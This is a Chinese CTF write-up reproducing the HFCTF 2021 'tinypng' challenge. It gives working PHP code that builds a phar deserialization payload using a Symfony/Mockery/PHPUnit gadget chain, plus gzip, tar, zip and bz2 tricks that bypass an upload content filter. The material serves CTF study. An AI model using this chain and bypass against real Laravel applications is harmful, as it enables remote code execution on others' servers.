虎符杯tinypng复现

预计阅读时间: 2 分钟

[HFCTF 2021 Final]tinypng

复现环境请看buuoj。
给了源码,发现是Laravel框架,查看routes/web.php

image-20210511220241059

​ 发现有三条路由。跟进app/Http/Controllers去找后两条路由,发现IndexController有文件上传,但是限制了文件中不能有/<\?|php|HALT\_COMPILER/i。而且文件名会被重命名,后缀必须为png。

image-20210511220708094

​ 在ImageController中,发现会执行compressImg,即对你传入的照片进行压缩,也限制了后缀必须为png。

image-20210511220833069

​ 跟进去看看,开 幕 雷 击

image-20210511220913994

$this->src任意可控,懂得都懂.jpg。至于反序列化链这一块儿,不是本文的重点,也不是过滤的重点,网上有很多文章,就不再列举了,感兴趣也可以去手动挖一挖。这里参考guoke师傅的文章,采用ImportConfigurator->HigherOrderMessage->MockTrait的链子。

​ 那么本文的重点是什么呢?没错,就是下面的这部分(guoke师傅的文章复现),即phar文件可以允许的4种压缩方式,用来绕过像本题一样的内容过滤。具体的内容可以见引文,本文不再复读一边,仅作为复现和总结。

反序列化phar文件生成:

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($class){
            $this->parent=$class;
            $this->route='test';
        }
    }
}

namespace Mockery{
    class HigherOrderMessage{
        private $mock;
        private $method;
        public function __construct($class){
            $this->mock=$class;
            $this->method='generate';
        }
    }
}

namespace PHPUnit\Framework\MockObject{
    final class MockTrait{
        private $mockName;
        private $classCode;
        public function __construct(){
            $this->mockName='123';
            $this->classCode='phpinfo();';
        }
    }
}

namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b=new HigherOrderMessage($c);
    $a=new ImportConfigurator($b);
#   file_put_contents('.phar/.metadata',serialize($a));
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($a); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

?>

1、gzip

​ 生成完phar再执行gzip phar.phar

2、tar

<?php
省略....
namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b=new HigherOrderMessage($c);
    $a=new ImportConfigurator($b);
    file_put_contents('.phar/.metadata',serialize($a));
    //把反序列化数据写到.phar/.metadata。
}
?>

​ 然后执行tar -cvf test.tar .phar/

3、zip

$a=serialize(new a());//序列化数据放在这里
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);//把序列化数据放进zip的注释里面
$zip->close();

不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。 解决方案:把\替换\5c,不过要注意别把不是S里的\也替换了。

4、bz2

<?php
省略....
namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b=new HigherOrderMessage($c);
    $a=new ImportConfigurator($b);
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($a); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
?>

bzip2 phar.phar

最后再强调一点,反序列化链子打,看到500的页面是很正常的,建议看到后看一下源码或者往下拉一下,有时候确实是执行成功了。。

具体原理请看下面的Refrence。。。

Refrence

从虎符线下CTF深入反序列化利用

虎符2021线下 tinypng

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注